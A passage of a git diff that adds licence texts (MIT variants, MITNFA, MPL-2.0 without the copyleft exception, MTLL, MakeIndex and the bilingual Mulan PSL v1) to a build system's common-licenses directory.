+THE COPYRIGHT HOLDER DISCLAIM ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM THE LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/meta/files/common-licenses/MIT-Modern-Variant b/meta/files/common-licenses/MIT-Modern-Variant
new file mode 100644
index 0000000000..d5075a3c96
--- /dev/null
+++ b/meta/files/common-licenses/MIT-Modern-Variant
@@ -0,0 +1,17 @@
+Permission is hereby granted, without written agreement and without
+license or royalty fees, to use, copy, modify, and distribute this
+software and its documentation for any purpose, provided that the
+above copyright notice and the following two paragraphs appear in
+all copies of this software.
+
+IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE TO ANY PARTY FOR
+DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
+ARISING OUT OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN
+IF THE COPYRIGHT HOLDER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
+DAMAGE.
+
+THE COPYRIGHT HOLDER SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING,
+BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+FITNESS FOR A PARTICULAR PURPOSE. THE SOFTWARE PROVIDED HEREUNDER IS
+ON AN "AS IS" BASIS, AND THE COPYRIGHT HOLDER HAS NO OBLIGATION TO
+PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.
diff --git a/meta/files/common-licenses/MIT-advertising b/meta/files/common-licenses/MIT-advertising
new file mode 100644
index 0000000000..4a991a734d
--- /dev/null
+++ b/meta/files/common-licenses/MIT-advertising
@@ -0,0 +1,7 @@
+Copyright (C) 2000-2008 Carsten Haitzler, Geoff Harrison and various contributors Copyright (C) 2004-2008 Kim Woelders
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies of the Software, its documentation and marketing & publicity materials, and acknowledgment shall be given in the documentation, materials and software packages that this Software was used.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/MIT-enna b/meta/files/common-licenses/MIT-enna
new file mode 100644
index 0000000000..6d6dd6032d
--- /dev/null
+++ b/meta/files/common-licenses/MIT-enna
@@ -0,0 +1,9 @@
+Copyright (C) 2000 Carsten Haitzler and various contributors (see AUTHORS)
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies of the Software and its Copyright notices. In addition publicly documented acknowledgment must be given that this software has been used if no source code of this software is made available publicly. This includes acknowledgments in either Copyright notices, Manuals, Publicity and Marketing documents or any documentation provided with any product containing this software. This License does not apply to any software that links to the libraries provided by this software (statically or dynamically), but only to the software provided.
+
+Please see the COPYING.PLAIN for a plain-english explanation of this notice and it's intent.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/MIT-feh b/meta/files/common-licenses/MIT-feh
new file mode 100644
index 0000000000..33412bad7c
--- /dev/null
+++ b/meta/files/common-licenses/MIT-feh
@@ -0,0 +1,5 @@
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies of the Software and its documentation and acknowledgment shall be given in the documentation and software packages that this Software was used.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/MIT-open-group b/meta/files/common-licenses/MIT-open-group
new file mode 100644
index 0000000000..ff185d30ed
--- /dev/null
+++ b/meta/files/common-licenses/MIT-open-group
@@ -0,0 +1,23 @@
+Copyright <yyyy, yyyy> The Open Group
+
+Permission to use, copy, modify, distribute, and sell this software and
+its documentation for any purpose is hereby granted without fee,
+provided that the above copyright notice appear in all copies and that
+both that copyright notice and this permission notice appear in
+supporting documentation.
+
+The above copyright notice and this permission notice shall be included
+in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
+OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+IN NO EVENT SHALL BE LIABLE FOR ANY CLAIM, DAMAGES
+OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
+OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR
+THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+Except as contained in this notice, the name of The Open Group
+shall not be used in advertising or otherwise to promote the sale, use
+or other dealings in this Software without prior written authorization
+from The Open Group.
diff --git a/meta/files/common-licenses/MITNFA b/meta/files/common-licenses/MITNFA
new file mode 100644
index 0000000000..6d44edb3db
--- /dev/null
+++ b/meta/files/common-licenses/MITNFA
@@ -0,0 +1,7 @@
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+Distributions of all or part of the Software intended to be used by the recipients as they would use the unmodified Software, containing modifications that substantially alter, remove, or disable functionality of the Software, outside of the documented configuration mechanisms provided by the Software, shall be modified such that the Original Author's bug reporting email addresses and urls are either replaced with the contact information of the parties responsible for the changes, or removed entirely.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/MPL-2.0-no-copyleft-exception b/meta/files/common-licenses/MPL-2.0-no-copyleft-exception
new file mode 100644
index 0000000000..950a3e583f
--- /dev/null
+++ b/meta/files/common-licenses/MPL-2.0-no-copyleft-exception
@@ -0,0 +1,144 @@
+Mozilla Public License Version 2.0
+
+1. Definitions
+
+ 1.1. "Contributor" means each individual or legal entity that creates, contributes to the creation of, or owns Covered Software.
+
+ 1.2. "Contributor Version" means the combination of the Contributions of others (if any) used by a Contributor and that particular Contributor's Contribution.
+
+ 1.3. "Contribution" means Covered Software of a particular Contributor.
+
+ 1.4. "Covered Software" means Source Code Form to which the initial Contributor has attached the notice in Exhibit A, the Executable Form of such Source Code Form, and Modifications of such Source Code Form, in each case including portions thereof.
+
+ 1.5. "Incompatible With Secondary Licenses" means
+
+ (a) that the initial Contributor has attached the notice described in Exhibit B to the Covered Software; or
+
+ (b) that the Covered Software was made available under the terms of version 1.1 or earlier of the License, but not also under the terms of a Secondary License.
+
+ 1.6. "Executable Form" means any form of the work other than Source Code Form.
+
+ 1.7. "Larger Work" means a work that combines Covered Software with other material, in a separate file or files, that is not Covered Software.
+
+ 1.8. "License" means this document.
+
+ 1.9. "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently, any and all of the rights conveyed by this License.
+
+ 1.10. "Modifications" means any of the following:
+
+ (a) any file in Source Code Form that results from an addition to, deletion from, or modification of the contents of Covered Software; or
+
+ (b) any new file in Source Code Form that contains any Covered Software.
+
+ 1.11. "Patent Claims" of a Contributor means any patent claim(s), including without limitation, method, process, and apparatus claims, in any patent Licensable by such Contributor that would be infringed, but for the grant of the License, by the making, using, selling, offering for sale, having made, import, or transfer of either its Contributions or its Contributor Version.
+
+ 1.12. "Secondary License" means either the GNU General Public License, Version 2.0, the GNU Lesser General Public License, Version 2.1, the GNU Affero General Public License, Version 3.0, or any later versions of those licenses.
+
+ 1.13. "Source Code Form" means the form of the work preferred for making modifications.
+
+ 1.14. "You" (or "Your") means an individual or a legal entity exercising rights under this License. For legal entities, "You" includes any entity that controls, is controlled by, or is under common control with You. For purposes of this definition, "control" means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2. License Grants and Conditions
+
+ 2.1. Grants
+ Each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license:
+
+ (a) under intellectual property rights (other than patent or trademark) Licensable by such Contributor to use, reproduce, make available, modify, display, perform, distribute, and otherwise exploit its Contributions, either on an unmodified basis, with Modifications, or as part of a Larger Work; and
+
+ (b) under Patent Claims of such Contributor to make, use, sell, offer for sale, have made, import, and otherwise transfer either its Contributions or its Contributor Version.
+
+ 2.2. Effective Date
+ The licenses granted in Section 2.1 with respect to any Contribution become effective for each Contribution on the date the Contributor first distributes such Contribution.
+
+ 2.3. Limitations on Grant Scope
+ The licenses granted in this Section 2 are the only rights granted under this License. No additional rights or licenses will be implied from the distribution or licensing of Covered Software under this License. Notwithstanding Section 2.1(b) above, no patent license is granted by a Contributor:
+
+ (a) for any code that a Contributor has removed from Covered Software; or
+
+ (b) for infringements caused by: (i) Your and any other third party's modifications of Covered Software, or (ii) the combination of its Contributions with other software (except as part of its Contributor Version); or
+
+ (c) under Patent Claims infringed by Covered Software in the absence of its Contributions.
+
+ This License does not grant any rights in the trademarks, service marks, or logos of any Contributor (except as may be necessary to comply with the notice requirements in Section 3.4).
+
+ 2.4. Subsequent Licenses
+ No Contributor makes additional grants as a result of Your choice to distribute the Covered Software under a subsequent version of this License (see Section 10.2) or under the terms of a Secondary License (if permitted under the terms of Section 3.3).
+
+ 2.5. Representation
+ Each Contributor represents that the Contributor believes its Contributions are its original creation(s) or it has sufficient rights to grant the rights to its Contributions conveyed by this License.
+
+ 2.6. Fair Use
+ This License is not intended to limit any rights You have under applicable copyright doctrines of fair use, fair dealing, or other equivalents.
+
+ 2.7. Conditions
+ Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in Section 2.1.
+
+3. Responsibilities
+
+ 3.1. Distribution of Source Form
+ All distribution of Covered Software in Source Code Form, including any Modifications that You create or to which You contribute, must be under the terms of this License. You must inform recipients that the Source Code Form of the Covered Software is governed by the terms of this License, and how they can obtain a copy of this License. You may not attempt to alter or restrict the recipients' rights in the Source Code Form.
+
+ 3.2. Distribution of Executable Form
+ If You distribute Covered Software in Executable Form then:
+
+ (a) such Covered Software must also be made available in Source Code Form, as described in Section 3.1, and You must inform recipients of the Executable Form how they can obtain a copy of such Source Code Form by reasonable means in a timely manner, at a charge no more than the cost of distribution to the recipient; and
+
+ (b) You may distribute such Executable Form under the terms of this License, or sublicense it under different terms, provided that the license for the Executable Form does not attempt to limit or alter the recipients' rights in the Source Code Form under this License.
+
+ 3.3. Distribution of a Larger Work
+ You may create and distribute a Larger Work under terms of Your choice, provided that You also comply with the requirements of this License for the Covered Software. If the Larger Work is a combination of Covered Software with a work governed by one or more Secondary Licenses, and the Covered Software is not Incompatible With Secondary Licenses, this License permits You to additionally distribute such Covered Software under the terms of such Secondary License(s), so that the recipient of the Larger Work may, at their option, further distribute the Covered Software under the terms of either this License or such Secondary License(s).
+
+ 3.4. Notices
+ You may not remove or alter the substance of any license notices (including copyright notices, patent notices, disclaimers of warranty, or limitations of liability) contained within the Source Code Form of the Covered Software, except that You may alter any license notices to the extent required to remedy known factual inaccuracies.
+
+ 3.5. Application of Additional Terms
+ You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Software. However, You may do so only on Your own behalf, and not on behalf of any Contributor. You must make it absolutely clear that any such warranty, support, indemnity, or liability obligation is offered by You alone, and You hereby agree to indemnify every Contributor for any liability incurred by such Contributor as a result of warranty, support, indemnity or liability terms You offer. You may include additional disclaimers of warranty and limitations of liability specific to any jurisdiction.
+
+4. Inability to Comply Due to Statute or Regulation
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Software due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be placed in a text file included with all distributions of the Covered Software under this License. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Termination
+
+ 5.1. The rights granted under this License will terminate automatically if You fail to comply with any of its terms. However, if You become compliant, then the rights granted under this License from a particular Contributor are reinstated (a) provisionally, unless and until such Contributor explicitly and finally terminates Your grants, and (b) on an ongoing basis, if such Contributor fails to notify You of the non-compliance by some reasonable means prior to 60 days after You have come back into compliance. Moreover, Your grants from a particular Contributor are reinstated on an ongoing basis if such Contributor notifies You of the non-compliance by some reasonable means, this is the first time You have received notice of non-compliance with this License from such Contributor, and You become compliant prior to 30 days after Your receipt of the notice.
+
+ 5.2. If You initiate litigation against any entity by asserting a patent infringement claim (excluding declaratory judgment actions, counter-claims, and cross-claims) alleging that a Contributor Version directly or indirectly infringes any patent, then the rights granted to You by any and all Contributors for the Covered Software under Section 2.1 of this License shall terminate.
+
+ 5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or Your distributors under this License prior to termination shall survive termination.
+
+6. Disclaimer of Warranty
+Covered Software is provided under this License on an "as is" basis, without warranty of any kind, either expressed, implied, or statutory, including, without limitation, warranties that the Covered Software is free of defects, merchantable, fit for a particular purpose or non-infringing. The entire risk as to the quality and performance of the Covered Software is with You. Should any Covered Software prove defective in any respect, You (not any Contributor) assume the cost of any necessary servicing, repair, or correction. This disclaimer of warranty constitutes an essential part of this License. No use of any Covered Software is authorized under this License except under this disclaimer.
+
+7. Limitation of Liability
+Under no circumstances and under no legal theory, whether tort (including negligence), contract, or otherwise, shall any Contributor, or anyone who distributes Covered Software as permitted above, be liable to You for any direct, indirect, special, incidental, or consequential damages of any character including, without limitation, damages for lost profits, loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses, even if such party shall have been informed of the possibility of such damages. This limitation of liability shall not apply to liability for death or personal injury resulting from such party's negligence to the extent applicable law prohibits such limitation. Some jurisdictions do not allow the exclusion or limitation of incidental or consequential damages, so this exclusion and limitation may not apply to You.
+
+8. Litigation
+Any litigation relating to this License may be brought only in the courts of a jurisdiction where the defendant maintains its principal place of business and such litigation shall be governed by laws of that jurisdiction, without reference to its conflict-of-law provisions. Nothing in this Section shall prevent a party's ability to bring cross-claims or counter-claims.
+
+9. Miscellaneous
+This License represents the complete agreement concerning the subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not be used to construe this License against a Contributor.
+
+10. Versions of the License
+
+ 10.1. New Versions
+ Mozilla Foundation is the license steward. Except as provided in Section 10.3, no one other than the license steward has the right to modify or publish new versions of this License. Each version will be given a distinguishing version number.
+
+ 10.2. Effect of New Versions
+ You may distribute the Covered Software under the terms of the version of the License under which You originally received the Covered Software, or under the terms of any subsequent version published by the license steward.
+
+ 10.3. Modified Versions
+ If you create software not governed by this License, and you want to create a new license for such software, you may create and use a modified version of this License if you rename the license and remove any references to the name of the license steward (except to note that such modified license differs from this License).
+
+ 10.4. Distributing Source Code Form that is Incompatible With Secondary Licenses
+ If You choose to distribute Source Code Form that is Incompatible With Secondary Licenses under the terms of this version of the License, the notice described in Exhibit B of this License must be attached.
+
+Exhibit A - Source Code Form License Notice
+
+ This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+If it is not possible or desirable to put the notice in a particular file, then You may include the notice in a location (such as a LICENSE file in a relevant directory) where a recipient would be likely to look for such a notice.
+
+You may add additional accurate notices of copyright ownership.
+
+Exhibit B - "Incompatible With Secondary Licenses" Notice
+
+ This Source Code Form is "Incompatible With Secondary Licenses", as defined by the Mozilla Public License, v. 2.0.
diff --git a/meta/files/common-licenses/MTLL b/meta/files/common-licenses/MTLL
new file mode 100644
index 0000000000..0af2b318fb
--- /dev/null
+++ b/meta/files/common-licenses/MTLL
@@ -0,0 +1,24 @@
+Software License for MTL
+
+Copyright (c) 2007 The Trustees of Indiana University.
+ 2008 Dresden University of Technology and the Trustees of Indiana University.
+ 2010 SimuNova UG (haftungsbeschränkt), www.simunova.com.
+All rights reserved.
+Authors: Peter Gottschling and Andrew Lumsdaine
+
+This file is part of the Matrix Template Library
+
+Dresden University of Technology -- short TUD -- and Indiana University -- short IU -- have the exclusive rights to license this product under the following license.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ 1. All redistributions of source code must retain the above copyright notice, the list of authors in the original source code, this list of conditions and the disclaimer listed in this license;
+ 2. All redistributions in binary form must reproduce the above copyright notice, this list of conditions and the disclaimer listed in this license in the documentation and/or other materials provided with the distribution;
+ 3. Any documentation included with all redistributions must include the following acknowledgement:
+ "This product includes software developed at the University of Notre Dame, the Pervasive Technology Labs at Indiana University, and Dresden University of Technology. For technical information contact Andrew Lumsdaine at the Pervasive Technology Labs at Indiana University. For administrative and license questions contact the Advanced Research and Technology Institute at 1100 Waterway Blvd. Indianapolis, Indiana 46202, phone 317-274-5905, fax 317-274-5902."
+ Alternatively, this acknowledgement may appear in the software itself, and wherever such third-party acknowledgments normally appear.
+ 4. The name "MTL" shall not be used to endorse or promote products derived from this software without prior written permission from IU or TUD. For written permission, please contact Indiana University Advanced Research & Technology Institute.
+ 5. Products derived from this software may not be called "MTL", nor may "MTL" appear in their name, without prior written permission of Indiana University Advanced Research & Technology Institute.
+
+TUD and IU provide no reassurances that the source code provided does not infringe the patent or any other intellectual property rights of any other entity. TUD and IU disclaim any liability to any recipient for claims brought by any other entity based on infringement of intellectual property rights or otherwise.
+
+LICENSEE UNDERSTANDS THAT SOFTWARE IS PROVIDED "AS IS" FOR WHICH NO WARRANTIES AS TO CAPABILITIES OR ACCURACY ARE MADE. DRESDEN UNIVERSITY OF TECHNOLOGY AND INDIANA UNIVERSITY GIVE NO WARRANTIES AND MAKE NO REPRESENTATION THAT SOFTWARE IS FREE OF INFRINGEMENT OF THIRD PARTY PATENT, COPYRIGHT, OR OTHER PROPRIETARY RIGHTS. DRESDEN UNIVERSITY OF TECHNOLOGY AND INDIANA UNIVERSITY MAKE NO WARRANTIES THAT SOFTWARE IS FREE FROM "BUGS", "VIRUSES", "TROJAN HORSES", "TRAP DOORS", "WORMS", OR OTHER HARMFUL CODE. LICENSEE ASSUMES THE ENTIRE RISK AS TO THE PERFORMANCE OF SOFTWARE AND/OR ASSOCIATED MATERIALS, AND TO THE PERFORMANCE AND VALIDITY OF INFORMATION GENERATED USING SOFTWARE.
diff --git a/meta/files/common-licenses/MakeIndex b/meta/files/common-licenses/MakeIndex
new file mode 100644
index 0000000000..c345384298
--- /dev/null
+++ b/meta/files/common-licenses/MakeIndex
@@ -0,0 +1,19 @@
+MakeIndex Distribution Notice
+
+11/11/1989
+
+Copyright (C) 1989 by Chen & Harrison International Systems, Inc.
+Copyright (C) 1988 by Olivetti Research Center
+Copyright (C) 1987 by Regents of the University of California
+
+Author:
+ Pehong Chen (phc@renoir.berkeley.edu)
+ Chen & Harrison International Systems, Inc.
+ Palo Alto, California
+ USA
+
+Permission is hereby granted to make and distribute original copies of this program provided that the copyright notice and this permission notice are preserved and provided that the recipient is not asked to waive or limit his right to redistribute copies as allowed by this permission notice and provided that anyone who receives an executable form of this program is granted access to a machine-readable form of the source code for this program at a cost not greater than reasonable reproduction, shipping, and handling costs. Executable forms of this program distributed without the source code must be accompanied by a conspicuous copy of this permission notice and a statement that tells the recipient how to obtain the source code.
+
+Permission is granted to distribute modified versions of all or part of this program under the conditions above with the additional requirement that the entire modified work must be covered by a permission notice identical to this permission notice. Anything distributed with and usable only in conjunction with something derived from this program, whose useful purpose is to extend or adapt or add capabilities to this program, is to be considered a modified version of this program under the requirement above. Ports of this program to other systems not supported in the distribution are also considered modified versions. All modified versions should be reported back to the author.
+
+This program is distributed with no warranty of any sort. No contributor accepts responsibility for the consequences of using this program or for whether it serves any particular purpose.
diff --git a/meta/files/common-licenses/MulanPSL-1.0 b/meta/files/common-licenses/MulanPSL-1.0
new file mode 100644
index 0000000000..8d8fae9511
--- /dev/null
+++ b/meta/files/common-licenses/MulanPSL-1.0
@@ -0,0 +1,116 @@
+木兰宽松许可证, 第1版
+
+木兰宽松许可证, 第1版
+
+2019年8月 http://license.coscl.org.cn/MulanPSL
+
+您对“软件”的复制、使用、修改及分发受木兰宽松许可证,第1版(“本许可证”)的如下条款的约束:
+
+0. 定义
+
+“软件”是指由“贡献”构成的许可在“本许可证”下的程序和相关文档的集合。
+
+“贡献者”是指将受版权法保护的作品许可在“本许可证”下的自然人或“法人实体”。
+
+“法人实体”是指提交贡献的机构及其“关联实体”。
+
+“关联实体”是指,对“本许可证”下的一方而言,控制、受控制或与其共同受控制的机构,此处的控制是指有受控方或共同受控方至少50%直接或间接的投票权、资金或其他有价证券。
+
+“贡献”是指由任一“贡献者”许可在“本许可证”下的受版权法保护的作品。
+
+1. 授予版权许可
+
+每个“贡献者”根据“本许可证”授予您永久性的、全球性的、免费的、非独占的、不可撤销的版权许可,您可以复制、使用、修改、分发其“贡献”,不论修改与否。
+
+2. 授予专利许可
+
+每个“贡献者”根据“本许可证”授予您永久性的、全球性的、免费的、非独占的、不可撤销的(根据本条规定撤销除外)专利许可,供您制造、委托制造、使用、许诺销售、销售、进口其“贡献”或以其他方式转移其“贡献”。前述专利许可仅限于“贡献者”现在或将来拥有或控制的其“贡献”本身或其“贡献”与许可“贡献”时的“软件”结合而将必然会侵犯的专利权利要求,不包括仅因您或他人修改“贡献”或其他结合而将必然会侵犯到的专利权利要求。如您或您的“关联实体”直接或间接地(包括通过代理、专利被许可人或受让人),就“软件”或其中的“贡献”对任何人发起专利侵权诉讼(包括反诉或交叉诉讼)或其他专利维权行动,指控其侵犯专利权,则“本许可证”授予您对“软件”的专利许可自您提起诉讼或发起维权行动之日终止。
+
+3. 无商标许可
+
+“本许可证”不提供对“贡献者”的商品名称、商标、服务标志或产品名称的商标许可,但您为满足第4条规定的声明义务而必须使用除外。
+
+4. 分发限制
+
+您可以在任何媒介中将“软件”以源程序形式或可执行形式重新分发,不论修改与否,但您必须向接收者提供“本许可证”的副本,并保留“软件”中的版权、商标、专利及免责声明。
+
+5. 免责声明与责任限制
+
+“软件”及其中的“贡献”在提供时不带任何明示或默示的担保。在任何情况下,“贡献者”或版权所有者不对任何人因使用“软件”或其中的“贡献”而引发的任何直接或间接损失承担责任,不论因何种原因导致或者基于何种法律理论,即使其曾被建议有此种损失的可能性。
+
+条款结束
+
+如何将木兰宽松许可证,第1版,应用到您的软件
+
+如果您希望将木兰宽松许可证,第1版,应用到您的新软件,为了方便接收者查阅,建议您完成如下三步:
+
+1, 请您补充如下声明中的空白,包括软件名、软件的首次发表年份以及您作为版权人的名字;
+
+2, 请您在软件包的一级目录下创建以“LICENSE”为名的文件,将整个许可证文本放入该文件中;
+
+3, 请将如下声明文本放入每个源文件的头部注释中。
+
+Copyright (c) [2019] [name of copyright holder]
+[Software Name] is licensed under the Mulan PSL v1.
+You can use this software according to the terms and conditions of the Mulan PSL v1.
+You may obtain a copy of Mulan PSL v1 at:
+ http://license.coscl.org.cn/MulanPSL
+THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
+See the Mulan PSL v1 for more details.
+Mulan Permissive Software License,Version 1
+
+Mulan Permissive Software License,Version 1 (Mulan PSL v1)
+
+August 2019 http://license.coscl.org.cn/MulanPSL
+
+Your reproduction, use, modification and distribution of the Software shall be subject to Mulan PSL v1 (this License) with following terms and conditions:
+
+0. Definition
+
+Software means the program and related documents which are comprised of those Contribution and licensed under this License.
+
+Contributor means the Individual or Legal Entity who licenses its copyrightable work under this License.
+
+Legal Entity means the entity making a Contribution and all its Affiliates.
+
+Affiliates means entities that control, or are controlled by, or are under common control with a party to this License, ‘control’ means direct or indirect ownership of at least fifty percent (50%) of the voting power, capital or other securities of controlled or commonly controlled entity.
+
+Contribution means the copyrightable work licensed by a particular Contributor under this License.
+
+1. Grant of Copyright License
+
+Subject to the terms and conditions of this License, each Contributor hereby grants to you a perpetual, worldwide, royalty-free, non-exclusive, irrevocable copyright license to reproduce, use, modify, or distribute its Contribution, with modification or not.
+
+2. Grant of Patent License
+
+Subject to the terms and conditions of this License, each Contributor hereby grants to you a perpetual, worldwide, royalty-free, non-exclusive, irrevocable (except for revocation under this Section) patent license to make, have made, use, offer for sale, sell, import or otherwise transfer its Contribution where such patent license is only limited to the patent claims owned or controlled by such Contributor now or in future which will be necessarily infringed by its Contribution alone, or by combination of the Contribution with the Software to which the Contribution was contributed, excluding of any patent claims solely be infringed by your or others’ modification or other combinations. If you or your Affiliates directly or indirectly (including through an agent, patent licensee or assignee), institute patent litigation (including a cross claim or counterclaim in a litigation) or other patent enforcement activities against any individual or entity by alleging that the Software or any Contribution in it infringes patents, then any patent license granted to you under this License for the Software shall terminate as of the date such litigation or activity is filed or taken.
+
+3. No Trademark License
+
+No trademark license is granted to use the trade names, trademarks, service marks, or product names of Contributor, except as required to fulfill notice requirements in section 4.
+
+4. Distribution Restriction
+
+You may distribute the Software in any medium with or without modification, whether in source or executable forms, provided that you provide recipients with a copy of this License and retain copyright, patent, trademark and disclaimer statements in the Software.
+
+5. Disclaimer of Warranty and Limitation of Liability
+
+The Software and Contribution in it are provided without warranties of any kind, either express or implied. In no event shall any Contributor or copyright holder be liable to you for any damages, including, but not limited to any direct, or indirect, special or consequential damages arising from your use or inability to use the Software or the Contribution in it, no matter how it’s caused or based on which legal theory, even if advised of the possibility of such damages.
+
+End of the Terms and Conditions
+
+How to apply the Mulan Permissive Software License,Version 1 (Mulan PSL v1) to your software
+
+To apply the Mulan PSL v1 to your work, for easy identification by recipients, you are suggested to complete following three steps:
+
+i. Fill in the blanks in following statement, including insert your software name, the year of the first publication of your software, and your name identified as the copyright owner;
+ii. Create a file named “LICENSE” which contains the whole context of this License in the first directory of your software package;
+iii. Attach the statement to the appropriate annotated syntax at the beginning of each source file.
+
+Copyright (c) [2019] [name of copyright holder]
+[Software Name] is licensed under the Mulan PSL v1.
+You can use this software according to the terms and conditions of the Mulan PSL v1.
+You may obtain a copy of Mulan PSL v1 at:
+ http://license.coscl.org.cn/MulanPSL
+THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
+See the Mulan PSL v1 for more details.
